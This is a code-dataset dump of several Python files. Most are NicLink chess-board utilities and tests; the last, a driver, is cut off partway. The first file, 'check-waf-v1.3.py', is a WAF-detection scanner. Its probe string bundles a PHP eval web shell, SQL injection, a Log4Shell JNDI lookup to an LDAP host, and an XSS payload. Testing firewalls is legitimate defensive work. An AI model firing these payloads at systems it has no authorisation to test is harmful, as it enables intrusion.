id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
2,286,600
check-waf-v1.3.py
Huck-Lim_check-waf/check-waf-v1.3.py
import os import sys import requests from openpyxl import Workbook from openpyxl.styles import Border, Side, Font, Alignment from openpyxl.utils import get_column_letter from datetime import datetime from bs4 import BeautifulSoup from publicsuffixlist import PublicSuffixList from urllib.parse import urlsplit from urllib3.exceptions import InsecureRequestWarning # 禁用不安全请求的警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def get_primary_domain(url): psl = PublicSuffixList() #domain = psl.privatesuffix(url) netloc = urlsplit(url).netloc domain = psl.privatesuffix(netloc) return domain def read_urls_from_file(file_path): with open(file_path, 'r') as file: return file.read().splitlines() def get_response_info(url,headers): try: response = requests.get(url, headers=headers, verify=False ,timeout=5) soup = BeautifulSoup(response.content, 'html.parser') title = soup.title.string.strip() if soup.title and soup.title.string else "无标题" status_code = response.status_code return title, status_code except requests.exceptions.Timeout: return "请求超时", 1 except requests.exceptions.ConnectionError: return "连接被拒绝", 0 def check_waf(url, payloads, headers=None): results = [] for payload in payloads: target_url = url + payload result = {} result['URL'] = url result['Payload'] = target_url result['domain'] = get_primary_domain(url) # print(target_url) print('=======================================') print(url) print('----------------不含poc----------------') before_title, before_code = get_response_info(url, headers) after_title, after_code = get_response_info(target_url, headers) print(before_code,before_title) print('----------------含poc------------------') print(after_code,after_title) print('--------------检测结果-----------------') result['after_code'] = after_code result['before_code'] = before_code result['after_title'] = after_title result['before_title'] = before_title # if((before_code == 200 and after_code == 403) or (before_code == 200 and after_code == 0) or (before_code != 200 and after_code == 0)): # print('存在WAF') # elif((before_code == 200 and after_code != 200 or after_code != 403 or after_code != 0)): # print(1) if(before_code == 200): if(after_code == 403 or after_code == 0 or after_code == 1): print('存在WAF') result['WAF_Status'] = '存在WAF' elif(after_code == 200 and before_title == after_title): print('不存在WAF') result['WAF_Status'] = '不存在WAF' else: print('疑似存在WAF') result['WAF_Status'] = '疑似存在WAF' elif(before_code != 0 and before_code != 1): if(after_code == 0 or after_code == 1): print('存在WAF') result['WAF_Status'] = '存在WAF' elif((after_code != before_code) or (after_code == before_code and before_title != after_title)): print('疑似存在WAF') result['WAF_Status'] = '疑似存在WAF' elif(after_code == before_code and before_title == after_title): print('不存在WAF') result['WAF_Status'] = '不存在WAF' else: print('漏网之鱼') result['WAF_Status'] = '漏网之鱼' elif(before_code == 0): print('站点无法访问') # 被服务器拒绝。站点可能无法访问或者被安全设备封禁了 result['WAF_Status'] = '站点无法访问' else: print('请求超时,网络异常') result['WAF_Status'] = '请求失败' results.append(result) return results def get_filename_without_extension(file_path): base_name = os.path.basename(file_path) # 获取路径的基本文件名 file_name_without_extension, _ = os.path.splitext(base_name) # 分割文件名和扩展名 return file_name_without_extension def set_border(sheet): # 设置框线 border = Border(left=Side(style='thin'), right=Side(style='thin'), top=Side(style='thin'), bottom=Side(style='thin')) for row in ws.iter_rows(min_row=1, max_row=ws.max_row, min_col=1, max_col=ws.max_column): for cell in row: cell.border = border def set_columns(sheet): # 设置列宽为最适合的列宽 for col in ws.columns: max_length = 0 column = [cell for cell in col] for cell in column: try: if len(str(cell.value)) > max_length: max_length = len(cell.value) except: pass adjusted_width = (max_length + 2) ws.column_dimensions[get_column_letter(col[0].column)].width = adjusted_width url_file_path = 'urls.txt' try: url_file_path = sys.argv[1] file_name = get_filename_without_extension(url_file_path) except: print('请输入txt文件名,默认读取urls.txt!') print('python3 check-waf.py urls.txt') sys.exit() urls = read_urls_from_file(url_file_path) headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"} payloads = ["?a=<%3fphp+%40eval($_GET['cmd'])%3b%3f>&b=1'+or+'1'%3d'1&c=${jndi%3aldap%3a//10.0.0.1%3a8080/Exploit}&s=<script>alert(1)</script>&id=UNION+SELECT+ALL+FROM+information_schema+AND+'+or+SLEEP(5)+or+'"] # 这里可以添加更多的payload results = [] for url in urls: results.extend(check_waf(url, payloads, headers)) # 创建一个新的Excel工作簿 wb = Workbook() # 获取当前活动的工作表 ws = wb.active # 设置第一行为"URL"、"Payload"和"WAF_Status",并应用字体和对齐样式 for i, title in enumerate(["URL", "domain","before_code", "before_title", "after_code", "after_title", "WAF_Status"], start=1): cell = ws.cell(row=1, column=i, value=title) cell.font = Font(bold=True) cell.alignment = Alignment(horizontal='center', vertical='center') # 将结果保存到Excel文件中 for i, result in enumerate(results, start=2): ws.cell(row=i, column=1, value=result['URL']) ws.cell(row=i, column=2, value=result['domain']) ws.cell(row=i, column=3, value=result['before_code']) ws.cell(row=i, column=4, value=result['before_title']) ws.cell(row=i, column=5, value=result['after_code']) ws.cell(row=i, column=6, value=result['after_title']) # ws.cell(row=i, column=3, value=result['WAF_Status']) if 'WAF_Status' in result: ws.cell(row=i, column=7, value=result['WAF_Status']) else: ws.cell(row=i, column=7, value='N/A') ws.cell(row=i, column=8, value=result['Payload']) # 设置框线 set_border(ws) # 设置列宽为最适合的列宽 set_columns(ws) # 获取当前时间并格式化为字符串 current_time = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') # 保存Excel文件 wb.save(f"{file_name}_waf_results_{current_time}.xlsx")
7,476
Python
.py
160
35.1625
232
0.601773
Huck-Lim/check-waf
8
2
1
MPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,601
extract_version.py
nicvagn_NicLink/src/thirdparty/spdlog/scripts/extract_version.py
#!/usr/bin/env python3 import os import re base_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) config_h = os.path.join(base_path, 'include', 'spdlog', 'version.h') data = {'MAJOR': 0, 'MINOR': 0, 'PATCH': 0} reg = re.compile(r'^\s*#define\s+SPDLOG_VER_([A-Z]+)\s+([0-9]+).*$') with open(config_h, 'r') as fp: for l in fp: m = reg.match(l) if m: data[m.group(1)] = int(m.group(2)) print(f"{data['MAJOR']}.{data['MINOR']}.{data['PATCH']}")
497
Python
.py
13
34.461538
74
0.579167
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,602
turn_out_all_lights.py
nicvagn_NicLink/nicsoft/turn_out_all_lights.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. from niclink import NicLinkManager print("\nTURNING OUT ALL THE LIGHTS\n") man = NicLinkManager(2, None) man.turn_off_all_LEDs()
739
Python
.py
9
80.777778
237
0.789546
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,603
light_board.py
nicvagn_NicLink/nicsoft/light_board.py
# light_board is a part of NicLink # # NicLink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details. # # you should have received a copy of the gnu general public license along with NicLink. if not, see <https://www.gnu.org/licenses/>. class LightBoard: """a representation of the LED's on a chessnut air""" def __init__(self, lit_squares: List[str]) -> None: """init a lightboard with each of the list of squares lit up. @param: lit_squares - a list of squares to set as lit in SAN """ light_board = np.array( [ "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", ], dtype=np.str_, ) def __str__(self) -> str: return ( str(light_board[0]), str(light_board[1]), str(light_board[2]), str(light_board[3]), str(light_board[4]), str(light_board[5]), str(light_board[6]), str(light_board[7]), ) def _build_led_map(moves: List[str]) -> None: """build the led_map for given uci moves @param: moves - move list in uci """ global logger, ZEROS zeros = "00000000" logger.info("build_led_map_for_move's(%s)", moves) led_map = np.copy(ZEROS) # get the squars and the coordinates s1 = move[:2] s2 = move[2:] s1_cords = square_cords(s1) s2_cords = square_cords(s2) # set 1st square led_map[s1_cords[1]] = zeros[: s1_cords[0]] + "1" + zeros[s1_cords[0] :] # set second square led_map[s2_cords[1]] = zeros[: s2_cords[0]] + "1" + zeros[s2_cords[0] :] logger.info("led map made for move: %s\n", move) log_led_map(led_map) return led_map
2,365
Python
.py
57
31.824561
237
0.572237
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,604
__main__.py
nicvagn_NicLink/nicsoft/play_stockfish/__main__.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import argparse import importlib import logging import logging.handlers import os # debbuging import pdb # sys stuff import sys import threading import time import traceback import chess # chess stuff import chess.pgn import readchar # the fish from stockfish import Stockfish # NicLink shit from niclink import NicLinkManager logger = logging.getLogger("NL play Fish") logger.setLevel(logging.DEBUG) # create console handler and set level to debug ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) # create formatter formatter = logging.Formatter("%(name)s - %(levelname)s | %(message)s") # add formatter to ch ch.setFormatter(formatter) # add ch to logger logger.addHandler(ch) class Game(threading.Thread): """a chessgame with stockfish handled in it's own thread""" def __init__( self, NicLinkManager, playing_white, stockfish_level=5, **kwargs ) -> None: super().__init__(**kwargs) self.nl_inst = NicLinkManager # bool of if your playing white self.playing_white = playing_white # init stockfish self.fish = Stockfish() self.fish.set_skill_level(stockfish_level) # list of all the game moves self.moves = [] # is the game over? self.game_over = False def check_for_game_over(self) -> None: """check if the game is over""" # is_game_over() will return False or a dictionary with: # {"over": bool, "winner": str or False, "reason": str} over_state = self.nl_inst.is_game_over() if not over_state: # the game is still going return # otherwise, tell the user and exit if over_state["winner"]: winner = "Black" else: winner = "White" print( f"Winner: { winner } reason: {over_state['reason']} \n \ have a nice day." ) sys.exit(0) def handle_human_turn(self) -> None: """Handle a human turn in the game""" global logger logger.info("\n--- human turn ---\n") try: # hack move = None while move is None: move = self.nl_inst.await_move() time.sleep(0.3) # await move from e-board the move from niclink print(f"move from board: { move }") except KeyboardInterrupt: print("Bye!") sys.exit(0) logger.info(f"move from chessboard { move }") # make the move on the nl gameboard self.nl_inst.opponent_moved(move) # check if the game is done self.check_for_game_over() def handle_fish_turn(self) -> None: """handle fish's turn""" global logger logger.info("Fish's turn") self.fish.set_fen_position(self.nl_inst.get_game_FEN()) # get stockfishes move fish_move = self.fish.get_best_move() logger.info(f"Fish's move { fish_move }") # make move on the niclink internal board self.nl_inst.make_move_game_board(fish_move) print(f"board after fish turn:") self.nl_inst.show_game_board() # check for game over self.check_for_game_over() def ensure_updated_board(self) -> None: """enrsre the external board is fully updated""" while not self.nl_inst.check_game_board_against_external(): logger.debug("board not updated correctly") time.sleep(0.3) def start(self) -> None: """start playing the game""" # start by turning off all the lights self.nl_inst.turn_off_all_LEDs() self.run() def run(self) -> None: """run the game thread""" # main game loop while True: if self.playing_white: # if we go first, go first self.handle_human_turn() # breakpoint() # do the fish turn self.handle_fish_turn() # make sure board is valid self.ensure_updated_board() # breakpoint() if not self.playing_white: # case we are black self.handle_human_turn() def main(): # NicLinkManager nl_inst = NicLinkManager(refresh_delay=2, logger=logger) print("\n%%%%%% NicLink vs Stockfish %%%%%%\n") print("What level do you want for the fish? (1 - 33) for info enter i, else level") while True: sf_lvl = input("level (1 - 33):") if sf_lvl == "i": print( """I found this online, and stole it: Stockfish 16 UCI_Elo was calibrated with CCRL. # PLAYER : RATING ERROR POINTS PLAYED (%) 1 master-skill-19 : 3191.1 40.4 940.0 1707 55 2 master-skill-18 : 3170.3 39.3 1343.0 2519 53 3 master-skill-17 : 3141.3 37.8 2282.0 4422 52 4 master-skill-16 : 3111.2 37.1 2773.0 5423 51 5 master-skill-15 : 3069.5 37.2 2728.5 5386 51 6 master-skill-14 : 3024.8 36.1 2702.0 5339 51 7 master-skill-13 : 2972.9 35.4 2645.5 5263 50 8 master-skill-12 : 2923.1 35.0 2653.5 5165 51 9 master-skill-11 : 2855.5 33.6 2524.0 5081 50 10 master-skill-10 : 2788.3 32.0 2724.5 5511 49 11 stash-bot-v25.0 : 2744.0 31.5 1952.5 3840 51 12 master-skill-9 : 2702.8 30.5 2670.0 5018 53 13 master-skill-8 : 2596.2 28.5 2669.5 4975 54 14 stash-bot-v21.0 : 2561.2 30.0 1338.0 3366 40 15 master-skill-7 : 2499.5 28.5 1934.0 4178 46 16 stash-bot-v20.0 : 2452.6 27.7 1606.5 3378 48 17 stash-bot-v19.0 : 2425.3 26.7 1787.0 3365 53 18 master-skill-6 : 2363.2 26.4 2510.5 4379 57 19 stash-bot-v17.0 : 2280.7 25.4 2209.0 4378 50 20 master-skill-5 : 2203.7 25.3 2859.5 5422 53 21 stash-bot-v15.3 : 2200.0 25.4 1757.0 4383 40 22 stash-bot-v14 : 2145.9 25.5 2890.0 5167 56 23 stash-bot-v13 : 2042.7 25.8 2263.5 4363 52 24 stash-bot-v12 : 1963.4 25.8 1769.5 4210 42 25 master-skill-4 : 1922.9 25.9 2690.0 5399 50 26 stash-bot-v11 : 1873.0 26.3 2203.5 4335 51 27 stash-bot-v10 : 1783.8 27.8 2568.5 4301 60 28 master-skill-3 : 1742.3 27.8 1909.5 4439 43 29 master-skill-2 : 1608.4 29.4 2064.5 4389 47 30 stash-bot-v9 : 1582.6 30.2 2130.0 4230 50 31 master-skill-1 : 1467.6 31.3 2015.5 4244 47 32 stash-bot-v8 : 1452.8 31.5 1953.5 3780 52 33 master-skill-0 : 1320.1 32.9 651.5 2083 31 credit: https://chess.stackexchange.com/users/25998/eric\n""" ) continue try: if int(sf_lvl) > 0 and int(sf_lvl) <= 33: break except ValueError: print("invalid entry. Try again.") continue else: print("invalid. Try again") continue print("Do you want to play white? (y/n)") playing_w = readchar.readkey() playing_white = playing_w == "y" game = Game(nl_inst, playing_white, stockfish_level=sf_lvl) print("game started") if playing_white: print("make a move please") game.start() if __name__ == "__main__": main()
8,070
Python
.py
197
33.93401
239
0.590392
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,605
test_niclink_signals.py
nicvagn_NicLink/nicsoft/test/test_niclink_signals.py
# This file is a part of NicLink # # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import readchar from niclink import NicLinkManager def test(): print("\n+++++ NicLink: testing signals ++++\n") print("nl.signal_lights(1): press enter for next") nl.signal_lights(1) readchar.readchar() print("nl.signal_lights(2): press enter for next") nl.signal_lights(2) readchar.readchar() print("nl.signal_lights(3): press enter for next") nl.signal_lights(3) readchar.readchar() print("nl.signal_lights(4): press enter for next") nl.signal_lights(4) readchar.readchar() print("nl.signal_lights(5): press enter for next") nl.signal_lights(5) readchar.readchar() print("nl.signal_lights(6): press enter for next") nl.signal_lights(6) readchar.readchar() print("end") if __name__ == "__main__": # connect to the board nl = NicLinkManager(1) test()
1,496
Python
.py
34
40
237
0.71832
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,606
__main__.py
nicvagn_NicLink/nicsoft/test/__main__.py
# This file is a part of NicLink # # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. print("NicLink: Running all tests") import logging import time import chess import numpy as np import readchar import test_niclink_board_compairison as nlbc import test_niclink_FEN as nlf import test_niclink_lights as nll import test_niclink_move_parsing as nlmv from niclink import NicLinkManager ONES = np.array( [ "11111111", "11111111", "11111111", "11111111", "11111111", "11111111", "11111111", "11111111", ], dtype=np.str_, ) ZEROS = np.array( [ "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", ], dtype=np.str_, ) global logger logger = logging.getLogger("test_all") def test_usb(): """test usb connection""" global logger b1 = chess.Board() b2 = chess.Board() b2.push_uci("e2e4") nl_man = NicLinkManager(2, logger=logger) nl_man.signal_lights(1) logger.info("TEST: show board diff: shold be e2e4 lit up.") nl_man.show_board_diff(b1, b2) readchar.readchar() print("TEST: set_move_led w map") print("e2e4") nl_man.set_move_LEDs("e2e4") readchar.readchar() print("BOARD CLEAR, press a key") nl_man.set_all_LEDs(ZEROS) readchar.readchar() print("TEST: man.show_board_diff(b1,b2)") nl_man.show_board_diff(b1, b2) readchar.readchar() print("(test usb connection) testing set_all_LEDs.") nl_man.set_all_LEDs(ONES) print("all the lights should be on, confirm and press enter") readchar.readchar() nl_man.set_all_LEDs(ZEROS) print("all the lights should be off, confirm and press enter") readchar.readchar() print( "testing man.signal_lights(). lights should flash on and return to showing last move" ) nl_man.signal_lights(1) print("(test usb connection) set up the board and press enter.") nl_man.show_game_board() print( "Now, make a move on the board and test move geting. Press return when ready. This is the last test." ) readchar.readkey() while True: # TODO: make sure await move work's move = nl_man.await_move() nl_man.make_move_game_board(move) print(move) time.sleep(2) print( "testing man.signal_lights(). lights should flash on and return to showing last move" ) nl_man.signal_lights(1) if __name__ == "__main__": test_usb()
3,147
Python
.py
96
27.458333
237
0.667768
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,607
test_niclink_lights.py
nicvagn_NicLink/nicsoft/test/test_niclink_lights.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import time from niclink import NicLinkManager print("\n\n====== NicLink test lights ====== \n") # connect to the board def test(): nl = NicLinkManager(1) print("all the lights should come on, starting with a1 finishing with h8") for x in range(1, 9): nl.beep() for a in range(1, 9): square = chr(ord("`") + a) + str(x) print(square + " on") nl.set_led(square, True) time.sleep((0.01)) for x in range(1, 9): for a in range(1, 9): square = chr(ord("`") + a) + str(x) print(square + " off") nl.set_led(square, False) def set_move_leds(move): nl.set_move_LEDs(move) if __name__ == "__main__": # connect to the board nl = NicLinkManager(1) test() # set_move_leds("a4h4")
1,430
Python
.py
31
40.096774
237
0.653208
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,608
test_niclink_FEN.py
nicvagn_NicLink/nicsoft/test/test_niclink_FEN.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import readchar from niclink import NicLinkManager def test(): print("\n+++++ niclink test: FEN reading ++++\n") exit = "n" while exit == "n": currentFEN = nl_inst.get_FEN() nl.show_FEN_on_board(currentFEN) print("do you want to exit? 'n' for no \n") exit = readchar.readchar() if __name__ == "__main__": # connect to the board nl = NicLinkManager(1) test() # set_move_leds("a4h4")
1,058
Python
.py
20
48.45
237
0.707483
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,609
test_niclink_move_parsing.py
nicvagn_NicLink/nicsoft/test/test_niclink_move_parsing.py
# NicLink is free software you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import sys import time import chess import readchar from niclink import NicLinkManager def test(): print("\n=====================\n Test Move Parsing \n=====================\n") leave = "n" while leave == "n": print("make a legal move:\n") # wait for a move try: move = nl.await_move() except ValueError: print("No move, pausing for 3 seconds and trying again") time.sleep(3) continue # show the internal board state # nl_inst.show_game_board() print(f"\n==== { move } ====\n") print("leave? 'n' for no, != 'n' yes: ") leave = readchar.readkey() if __name__ == "__main__": nl = NicLinkManager(2) test()
1,364
Python
.py
30
39.3
236
0.645944
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,610
nl_test_threading.py
nicvagn_NicLink/nicsoft/test/nl_test_threading.py
# niclink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version. # # niclink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details. # # you should have received a copy of the gnu general public license along with niclink. if not, see <https://www.gnu.org/licenses/>. import logging import threading import readchar from niclink import NicLinkManager def test(): """test usb connection""" print("set up the board and press enter.") nl_thread.show_game_board() print("===============") readchar.readkey() # set the niclink flag for starting a game nl_thread.start_game.set() leave = "n" while leave == "n": print("leave test_threading? ('n' for no)") leave = readchar.readkey() nl_thread.gameover_lights() # set the nl_thread kill switch nl_thread.kill_switch.set() if __name__ == "__main__": logger = logging.getLogger() logger.setLevel(logging.DEBUG) nl_thread = NicLinkManager(2, logger) nl_thread.start() test()
1,352
Python
.py
30
40.8
237
0.714067
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,611
test_niclink_board_compairison.py
nicvagn_NicLink/nicsoft/test/test_niclink_board_compairison.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.to use the len() function import chess from niclink import NicLinkManager def test(): print("test niclink board compaire") b1 = chess.Board() b2 = chess.Board() nl = NicLinkManager(1) print("test identical boards(should be no diff)") nl.show_board_diff(b1, b2) print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@") print("should be a diff on e2 e4") b1.push_uci("e2e4") nl.show_board_diff(b1, b2) print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@") print("should be a lot of diffs") b2.set_fen("r1bqkb1r/pppp1Qpp/2n2n2/4p3/2B1P3/8/PPPP1PPP/RNB1K1NR b KQkq - 0 4") nl.show_board_diff(b1, b2) if __name__ == "__main__": nl = NicLinkManager(2) test()
1,342
Python
.py
25
49.64
237
0.667433
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,612
nl_exceptions.py
nicvagn_NicLink/nicsoft/niclink/nl_exceptions.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. class NoMove(Exception): """Exception raised when there is no move from chessboard (ie: the game board FEN == FEN from the external board)""" def __init__(self, message): self.message = message class IllegalMove(Exception): """Exception raised when an illegal move is on the external board""" def __init__(self, message): self.message = message class ExitNicLink(Exception): """Exception raised to quit NicLink""" def __init__(self, message): self.message = message class NoNicLinkFEN(Exception): """raised when fen is None""" def __init__(self, message): self.message = message class NicLinkGameOver(Exception): """the game on NicLink is over""" def __init__(self, message): self.message = message class NicLinkHandlingGame(Exception): """NicLink is handling a game, and the action can not be preformed""" def __init__(self, message): self.message = message
1,580
Python
.py
29
49.551724
237
0.722114
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,613
nl_test_bluetooth.py
nicvagn_NicLink/nicsoft/niclink/nl_test_bluetooth.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import nl_bluetooth nl_bluetooth.connect()
652
Python
.py
7
91.857143
237
0.793157
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,614
driver.py
nicvagn_NicLink/nicsoft/niclink/driver.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version. # # NicLink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details. # # you should have received a copy of the gnu general public license along with NicLink. if not, see <https://www.gnu.org/licenses/>. import logging # system import sys import threading import time # pip libraries import chess import numpy as np import numpy.typing as npt # mine import niclink._niclink as _niclink import niclink.nl_bluetooth from niclink.nl_exceptions import (ExitNicLink, IllegalMove, NoMove, NoNicLinkFEN) ### CONSTANTS ### ONES = np.array( [ "11111111", "11111111", "11111111", "11111111", "11111111", "11111111", "11111111", "11111111", ], dtype=np.str_, ) ZEROS = np.array( [ "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", "00000000", ], dtype=np.str_, ) FILES = np.array(["a", "b", "c", "d", "e", "f", "g", "h"]) NO_MOVE_DELAY = 0.1 # I think having a logger delay makes bord unresponsive LIGHT_THREAD_DELAY = 0.8 # ## logger ### logger = logging.getLogger("NicLink") class NicLinkManager(threading.Thread): """manage Chessnut air external board in it's own thread""" def __init__( self, refresh_delay: float, logger: logging.Logger | None, thread_sleep_delay=1, bluetooth: bool = False, ): """initialize the link to the chessboard, and set up NicLink""" # initialize the thread, as a daemon threading.Thread.__init__(self, daemon=True) # HACK: delay for how long threads should sleep, letting threads work self.thread_sleep_delay = thread_sleep_delay # ensure we have a logger if logger is None: self.logger = logging.getLogger(__name__) else: self.logger = logger if bluetooth: # connect the board w bluetooth self.nl_interface = niclink.nl_bluetooth else: # connect with the external board usb self.nl_interface = _niclink self.refresh_delay = refresh_delay try: self.connect() except Exception: print("Error: Can not connect to the chess board. Is it connected \ and turned on?") sys.exit("board connection error.") # set NicLink values to defaults self.reset() """ IE: ### Treading Events ### # a way to kill the program from outside self.game_over = threading.Event() self.has_moved = threading.Event() self.kill_switch = threading.Event() self.start_game = threading.Event() """ # # threading lock # # # used for access to critical vars to prevent race conditions # and such self.lock = threading.Lock() def run(self) -> None: """run and wait for a game to begin Raises: ExitNicLink: to exit the NicLinkManager thread """ # run while kill_switch is not set while not self.kill_switch.is_set(): if self.start_game.is_set(): self.logger.info("_run_game is set. (run)") self._run_game() time.sleep(self.thread_sleep_delay) # disconnect from board self.disconnect() raise ExitNicLink( "Thank you for using NicLink (raised in NicLinkManager.run()") def _run_game(self) -> None: """handle a chess game over NicLink""" # run a game, ie wait for GameOver event self.game_over.wait() # game is over, reset NicLink self.reset() self.logger.info( "\n\n _run_game(...): game_over event set, resetting NicLink\n") def connect(self, bluetooth: bool = False) -> None: """connect to the chessboard @param: bluetooth - should we use bluetooth """ if bluetooth: raise NotImplementedError # connect to the chessboard, this must be done first self.nl_interface.connect() # FIX: give time for NL to connect time.sleep(self.thread_sleep_delay) testFEN = self.nl_interface.get_FEN() time.sleep(self.thread_sleep_delay) # make sure get_FEN is working testFEN = self.nl_interface.get_FEN() if testFEN == "" or None: exceptionMessage = "Board initialization error. '' or None \ for FEN. Is the board connected and turned on?" raise RuntimeError(exceptionMessage) self.logger.info(f"Board initialized: initial fen: {testFEN}\n") def disconnect(self) -> None: """disconnect from the chessboard""" self.nl_interface.disconnect() self.logger.info("\n-- Board 